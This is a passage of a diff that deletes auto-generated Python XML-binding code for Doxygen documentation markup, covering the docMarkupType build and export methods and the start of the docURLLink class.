in self.simplesect: - namespaceprefix_ = self.simplesect_nsprefix_ + ':' if (UseCapturedNS_ and self.simplesect_nsprefix_) else '' - simplesect_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='simplesect', pretty_print=pretty_print) - for title_ in self.title: - namespaceprefix_ = self.title_nsprefix_ + ':' if (UseCapturedNS_ and self.title_nsprefix_) else '' - title_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='title', pretty_print=pretty_print) - for variablelist_ in self.variablelist: - namespaceprefix_ = self.variablelist_nsprefix_ + ':' if (UseCapturedNS_ and self.variablelist_nsprefix_) else '' - variablelist_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='variablelist', pretty_print=pretty_print) - for table_ in self.table: - namespaceprefix_ = self.table_nsprefix_ + ':' if (UseCapturedNS_ and self.table_nsprefix_) else '' - table_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='table', pretty_print=pretty_print) - for heading_ in self.heading: - namespaceprefix_ = self.heading_nsprefix_ + ':' if (UseCapturedNS_ and self.heading_nsprefix_) else '' - heading_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='heading', pretty_print=pretty_print) - for dotfile_ in self.dotfile: - namespaceprefix_ = self.dotfile_nsprefix_ + ':' if (UseCapturedNS_ and self.dotfile_nsprefix_) else '' - dotfile_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='dotfile', pretty_print=pretty_print) - for mscfile_ in self.mscfile: - namespaceprefix_ = self.mscfile_nsprefix_ + ':' if (UseCapturedNS_ and self.mscfile_nsprefix_) else '' - mscfile_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='mscfile', pretty_print=pretty_print) - for diafile_ in self.diafile: - namespaceprefix_ = self.diafile_nsprefix_ + ':' if (UseCapturedNS_ and self.diafile_nsprefix_) else '' - diafile_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='diafile', pretty_print=pretty_print) - for toclist_ in self.toclist: - namespaceprefix_ = self.toclist_nsprefix_ + ':' if (UseCapturedNS_ and self.toclist_nsprefix_) else '' - toclist_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='toclist', pretty_print=pretty_print) - for language_ in self.language: - namespaceprefix_ = self.language_nsprefix_ + ':' if (UseCapturedNS_ and self.language_nsprefix_) else '' - language_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='language', pretty_print=pretty_print) - for parameterlist_ in self.parameterlist: - namespaceprefix_ = self.parameterlist_nsprefix_ + ':' if (UseCapturedNS_ and self.parameterlist_nsprefix_) else '' - parameterlist_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='parameterlist', pretty_print=pretty_print) - for xrefsect_ in self.xrefsect: - namespaceprefix_ = self.xrefsect_nsprefix_ + ':' if (UseCapturedNS_ and self.xrefsect_nsprefix_) else '' - xrefsect_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='xrefsect', pretty_print=pretty_print) - for copydoc_ in self.copydoc: - namespaceprefix_ = self.copydoc_nsprefix_ + ':' if (UseCapturedNS_ and self.copydoc_nsprefix_) else '' - copydoc_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='copydoc', pretty_print=pretty_print) - for details_ in self.details: - namespaceprefix_ = self.details_nsprefix_ + ':' if (UseCapturedNS_ and self.details_nsprefix_) else '' - details_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='details', pretty_print=pretty_print) - for blockquote_ in self.blockquote: - namespaceprefix_ = self.blockquote_nsprefix_ + ':' if (UseCapturedNS_ and self.blockquote_nsprefix_) else '' - blockquote_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='blockquote', pretty_print=pretty_print) - for parblock_ in self.parblock: - namespaceprefix_ = self.parblock_nsprefix_ + ':' if (UseCapturedNS_ and self.parblock_nsprefix_) else '' - parblock_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='parblock', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - self.valueOf_ = get_all_text_(node) - if node.text is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', node.text) - self.content_.append(obj_) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'ulink': - obj_ = docURLLink.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'ulink', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_ulink'): - self.add_ulink(obj_.value) - elif hasattr(self, 'set_ulink'): - self.set_ulink(obj_.value) - elif nodeName_ == 'bold': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'bold', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_bold'): - self.add_bold(obj_.value) - elif hasattr(self, 'set_bold'): - self.set_bold(obj_.value) - elif nodeName_ == 's': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 's', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_s'): - self.add_s(obj_.value) - elif hasattr(self, 'set_s'): - self.set_s(obj_.value) - elif nodeName_ == 'strike': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'strike', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_strike'): - self.add_strike(obj_.value) - elif hasattr(self, 'set_strike'): - self.set_strike(obj_.value) - elif nodeName_ == 'underline': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'underline', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_underline'): - self.add_underline(obj_.value) - elif hasattr(self, 'set_underline'): - self.set_underline(obj_.value) - elif nodeName_ == 'emphasis': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'emphasis', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_emphasis'): - self.add_emphasis(obj_.value) - elif hasattr(self, 'set_emphasis'): - self.set_emphasis(obj_.value) - elif nodeName_ == 'computeroutput': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'computeroutput', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_computeroutput'): - self.add_computeroutput(obj_.value) - elif hasattr(self, 'set_computeroutput'): - self.set_computeroutput(obj_.value) - elif nodeName_ == 'subscript': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'subscript', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_subscript'): - self.add_subscript(obj_.value) - elif hasattr(self, 'set_subscript'): - self.set_subscript(obj_.value) - elif nodeName_ == 'superscript': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'superscript', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_superscript'): - self.add_superscript(obj_.value) - elif hasattr(self, 'set_superscript'): - self.set_superscript(obj_.value) - elif nodeName_ == 'center': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'center', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_center'): - self.add_center(obj_.value) - elif hasattr(self, 'set_center'): - self.set_center(obj_.value) - elif nodeName_ == 'small': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'small', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_small'): - self.add_small(obj_.value) - elif hasattr(self, 'set_small'): - self.set_small(obj_.value) - elif nodeName_ == 'cite': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'cite', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_cite'): - self.add_cite(obj_.value) - elif hasattr(self, 'set_cite'): - self.set_cite(obj_.value) - elif nodeName_ == 'del': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'del', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_del'): - self.add_del(obj_.value) - elif hasattr(self, 'set_del'): - self.set_del(obj_.value) - elif nodeName_ == 'ins': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'ins', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_ins'): - self.add_ins(obj_.value) - elif hasattr(self, 'set_ins'): - self.set_ins(obj_.value) - elif nodeName_ == 'htmlonly': - obj_ = docHtmlOnlyType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'htmlonly', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_htmlonly'): - self.add_htmlonly(obj_.value) - elif hasattr(self, 'set_htmlonly'): - self.set_htmlonly(obj_.value) - elif nodeName_ == 'manonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'manonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'manonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'manonly', valuestr_) - self.content_.append(obj_) - self.manonly_nsprefix_ = child_.prefix - elif nodeName_ == 'xmlonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'xmlonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'xmlonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'xmlonly', valuestr_) - self.content_.append(obj_) - self.xmlonly_nsprefix_ = child_.prefix - elif nodeName_ == 'rtfonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'rtfonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'rtfonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'rtfonly', valuestr_) - self.content_.append(obj_) - self.rtfonly_nsprefix_ = child_.prefix - elif nodeName_ == 'latexonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'latexonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'latexonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'latexonly', valuestr_) - self.content_.append(obj_) - self.latexonly_nsprefix_ = child_.prefix - elif nodeName_ == 'docbookonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'docbookonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'docbookonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'docbookonly', valuestr_) - self.content_.append(obj_) - self.docbookonly_nsprefix_ = child_.prefix - elif nodeName_ == 'image': - obj_ = docImageType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'image', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_image'): - self.add_image(obj_.value) - elif hasattr(self, 'set_image'): - self.set_image(obj_.value) - elif nodeName_ == 'dot': - obj_ = docDotMscType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'dot', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_dot'): - self.add_dot(obj_.value) - elif hasattr(self, 'set_dot'): - self.set_dot(obj_.value) - elif nodeName_ == 'msc': - obj_ = docDotMscType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'msc', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_msc'): - self.add_msc(obj_.value) - elif hasattr(self, 'set_msc'): - self.set_msc(obj_.value) - elif nodeName_ == 'plantuml': - obj_ = docPlantumlType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'plantuml', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_plantuml'): - self.add_plantuml(obj_.value) - elif hasattr(self, 'set_plantuml'): - self.set_plantuml(obj_.value) - elif nodeName_ == 'anchor': - obj_ = docAnchorType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'anchor', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_anchor'): - self.add_anchor(obj_.value) - elif hasattr(self, 'set_anchor'): - self.set_anchor(obj_.value) - elif nodeName_ == 'formula': - obj_ = docFormulaType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'formula', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_formula'): - self.add_formula(obj_.value) - elif hasattr(self, 'set_formula'): - self.set_formula(obj_.value) - elif nodeName_ == 'ref': - obj_ = docRefTextType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'ref', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_ref'): - self.add_ref(obj_.value) - elif hasattr(self, 'set_ref'): - self.set_ref(obj_.value) - elif nodeName_ == 'emoji': - obj_ = docEmojiType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'emoji', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_emoji'): - self.add_emoji(obj_.value) - elif hasattr(self, 'set_emoji'): - self.set_emoji(obj_.value) - elif nodeName_ == 'linebreak': - obj_ = docEmptyType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'linebreak', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_linebreak'): - self.add_linebreak(obj_.value) - elif hasattr(self, 'set_linebreak'): - self.set_linebreak(obj_.value) - elif nodeName_ == 'hruler': - obj_ = docEmptyType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'hruler', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_hruler'): - self.add_hruler(obj_.value) - elif hasattr(self, 'set_hruler'): - self.set_hruler(obj_.value) - elif nodeName_ == 'preformatted': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'preformatted', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_preformatted'): - self.add_preformatted(obj_.value) - elif hasattr(self, 'set_preformatted'): - self.set_preformatted(obj_.value) - elif nodeName_ == 'programlisting': - obj_ = listingType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'programlisting', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_programlisting'): - self.add_programlisting(obj_.value) - elif hasattr(self, 'set_programlisting'): - self.set_programlisting(obj_.value) - elif nodeName_ == 'verbatim' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'verbatim') - valuestr_ = self.gds_validate_string(valuestr_, node, 'verbatim') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'verbatim', valuestr_) - self.content_.append(obj_) - self.verbatim_nsprefix_ = child_.prefix - elif nodeName_ == 'javadocliteral' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'javadocliteral') - valuestr_ = self.gds_validate_string(valuestr_, node, 'javadocliteral') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'javadocliteral', valuestr_) - self.content_.append(obj_) - self.javadocliteral_nsprefix_ = child_.prefix - elif nodeName_ == 'javadoccode' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'javadoccode') - valuestr_ = self.gds_validate_string(valuestr_, node, 'javadoccode') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'javadoccode', valuestr_) - self.content_.append(obj_) - self.javadoccode_nsprefix_ = child_.prefix - elif nodeName_ == 'indexentry': - obj_ = docIndexEntryType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'indexentry', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_indexentry'): - self.add_indexentry(obj_.value) - elif hasattr(self, 'set_indexentry'): - self.set_indexentry(obj_.value) - elif nodeName_ == 'orderedlist': - obj_ = docListType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'orderedlist', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_orderedlist'): - self.add_orderedlist(obj_.value) - elif hasattr(self, 'set_orderedlist'): - self.set_orderedlist(obj_.value) - elif nodeName_ == 'itemizedlist': - obj_ = docListType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'itemizedlist', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_itemizedlist'): - self.add_itemizedlist(obj_.value) - elif hasattr(self, 'set_itemizedlist'): - self.set_itemizedlist(obj_.value) - elif nodeName_ == 'simplesect': - obj_ = docSimpleSectType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'simplesect', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_simplesect'): - self.add_simplesect(obj_.value) - elif hasattr(self, 'set_simplesect'): - self.set_simplesect(obj_.value) - elif nodeName_ == 'title': - obj_ = docTitleType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'title', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_title'): - self.add_title(obj_.value) - elif hasattr(self, 'set_title'): - self.set_title(obj_.value) - elif nodeName_ == 'variablelist': - obj_ = docVariableListType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'variablelist', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_variablelist'): - self.add_variablelist(obj_.value) - elif hasattr(self, 'set_variablelist'): - self.set_variablelist(obj_.value) - elif nodeName_ == 'table': - obj_ = docTableType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'table', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_table'): - self.add_table(obj_.value) - elif hasattr(self, 'set_table'): - self.set_table(obj_.value) - elif nodeName_ == 'heading': - obj_ = docHeadingType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'heading', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_heading'): - self.add_heading(obj_.value) - elif hasattr(self, 'set_heading'): - self.set_heading(obj_.value) - elif nodeName_ == 'dotfile': - obj_ = docImageFileType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'dotfile', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_dotfile'): - self.add_dotfile(obj_.value) - elif hasattr(self, 'set_dotfile'): - self.set_dotfile(obj_.value) - elif nodeName_ == 'mscfile': - obj_ = docImageFileType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'mscfile', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_mscfile'): - self.add_mscfile(obj_.value) - elif hasattr(self, 'set_mscfile'): - self.set_mscfile(obj_.value) - elif nodeName_ == 'diafile': - obj_ = docImageFileType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'diafile', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_diafile'): - self.add_diafile(obj_.value) - elif hasattr(self, 'set_diafile'): - self.set_diafile(obj_.value) - elif nodeName_ == 'toclist': - obj_ = docTocListType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'toclist', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_toclist'): - self.add_toclist(obj_.value) - elif hasattr(self, 'set_toclist'): - self.set_toclist(obj_.value) - elif nodeName_ == 'language': - obj_ = docLanguageType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'language', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_language'): - self.add_language(obj_.value) - elif hasattr(self, 'set_language'): - self.set_language(obj_.value) - elif nodeName_ == 'parameterlist': - obj_ = docParamListType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'parameterlist', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_parameterlist'): - self.add_parameterlist(obj_.value) - elif hasattr(self, 'set_parameterlist'): - self.set_parameterlist(obj_.value) - elif nodeName_ == 'xrefsect': - obj_ = docXRefSectType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'xrefsect', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_xrefsect'): - self.add_xrefsect(obj_.value) - elif hasattr(self, 'set_xrefsect'): - self.set_xrefsect(obj_.value) - elif nodeName_ == 'copydoc': - obj_ = docCopyType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'copydoc', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_copydoc'): - self.add_copydoc(obj_.value) - elif hasattr(self, 'set_copydoc'): - self.set_copydoc(obj_.value) - elif nodeName_ == 'details': - obj_ = docDetailsType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'details', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_details'): - self.add_details(obj_.value) - elif hasattr(self, 'set_details'): - self.set_details(obj_.value) - elif nodeName_ == 'blockquote': - obj_ = docBlockQuoteType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'blockquote', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_blockquote'): - self.add_blockquote(obj_.value) - elif hasattr(self, 'set_blockquote'): - self.set_blockquote(obj_.value) - elif nodeName_ == 'parblock': - obj_ = docParBlockType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'parblock', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_parblock'): - self.add_parblock(obj_.value) - elif hasattr(self, 'set_parblock'): - self.set_parblock(obj_.value) - if not fromsubclass_ and child_.tail is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', child_.tail) - self.content_.append(obj_) -# end class docMarkupType - - -class docURLLink(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, url=None, ulink=None, bold=None, s=None, strike=None, underline=None, emphasis=None, computeroutput=None, subscript=None, superscript=None, center=None, small=None, cite=None, del_=None, ins=None, htmlonly=None, manonly=None, xmlonly=None, rtfonly=None, latexonly=None, docbookonly=None, image=None, dot=None, msc=None, plantuml=None, anchor=None, formula=None, ref=None, emoji=None, linebreak=None, valueOf_=None, mixedclass_=None, content_=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.url = _cast(None, url) - self.url_nsprefix_ = None - if ulink is None: - self.ulink = [] - else: - self.ulink = ulink - self.ulink_nsprefix_ = None - if bold is None: - self.bold = [] - else: - self.bold = bold - self.bold_nsprefix_ = None - if s is None: - self.s = [] - else: - self.s = s - self.s_nsprefix_ = None - if strike is None: - self.strike = [] - else: - self.strike = strike - self.strike_nsprefix_ = None - if underline is None: - self.underline = [] - else: - self.underline = underline - self.underline_nsprefix_ = None - if emphasis is None: - self.emphasis = [] - else: - self.emphasis = emphasis - self.emphasis_nsprefix_ = None - if computeroutput is None: - self.computeroutput = [] - else: - self.computeroutput = computeroutput - self.computeroutput_nsprefix_ = None - if subscript is None: - self.subscript = [] - else: - self.subscript = subscript - self.subscript_nsprefix_ = None - if superscript is None: - self.superscript = [] - else: - self.superscript = superscript - self.superscript_nsprefix_ = None - if center is None: - self.center = [] - else: - self.center = center - self.center_nsprefix_ = None - if small is None: - self.small = [] - else: - self.small = small - self.small_nsprefix_ = None - if cite is None: - self.cite = [] - else: - self.cite = cite - self.cite_nsprefix_ = None - if del_ is None: - self.del_ = [] - else: - self.del_ = del_ - self.del__nsprefix_ = None - if ins is None: - self.ins = [] - else: - self.ins = ins - self.ins_nsprefix_ = None - if htmlonly is None: - self.htmlonly = [] - else: - self.htmlonly = htmlonly - self.htmlonly_nsprefix_ = None - if manonly is None: - self.manonly = [] - else: - self.manonly = manonly - self.manonly_nsprefix_ = None - if xmlonly is None: - self.xmlonly = [] - else: - self.xmlonly = xmlonly - self.xmlonly_nsprefix_ = None - if rtfonly is None: - self.rtfonly = [] - else: - self.rtfonly = rtfonly - self.rtfonly_nsprefix_ = None - if latexonly is None: - self.latexonly = [] - else: - self.latexonly = latexonly - self.latexonly_nsprefix_ = None - if docbookonly is None: - self.docbookonly = [] - else: - self.docbookonly = docbookonly - self.docbookonly_nsprefix_ = None - if image is None: - self.image = [] - else: - self.image = image - self.image_nsprefix_ = None - if dot is None: - self.dot = [] - else: - self.dot = dot - self.dot_nsprefix_ = None - if msc is None: - self.msc = [] - else: - self.msc = msc - self.msc_nsprefix_ = None - if plantuml is None: - self.plantuml = [] - else: - self.plantuml = plantuml - self.plantuml_nsprefix_ = None - if anchor is None: - self.anchor = [] - else: - self.anchor = anchor - self.anchor_nsprefix_ = None - if formula is None: - self.formula = [] - else: - self.formula = formula - self.formula_nsprefix_ = None - if ref is None: - self.ref = [] - else: - self.ref = ref - self.ref_nsprefix_ = None - if emoji is None: - self.emoji = [] - else: - self.emoji = emoji - self.emoji_nsprefix_ = None - if linebreak is None: - self.linebreak = [] - else: - self.linebreak = linebreak - self.linebreak_nsprefix_ = None - self.valueOf_ = valueOf_ - if mixedclass_ is None: - self.mixedclass_ = MixedContainer - else: - self.mixedclass_ = mixedclass_ - if content_ is None: - self.content_ = [] - else: - self.content_ = content_ - self.valueOf_ = valueOf_ - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docURLLink) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docURLLink.subclass: - return docURLLink.subclass(*args_, **kwargs_) - else: - return docURLLink(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - 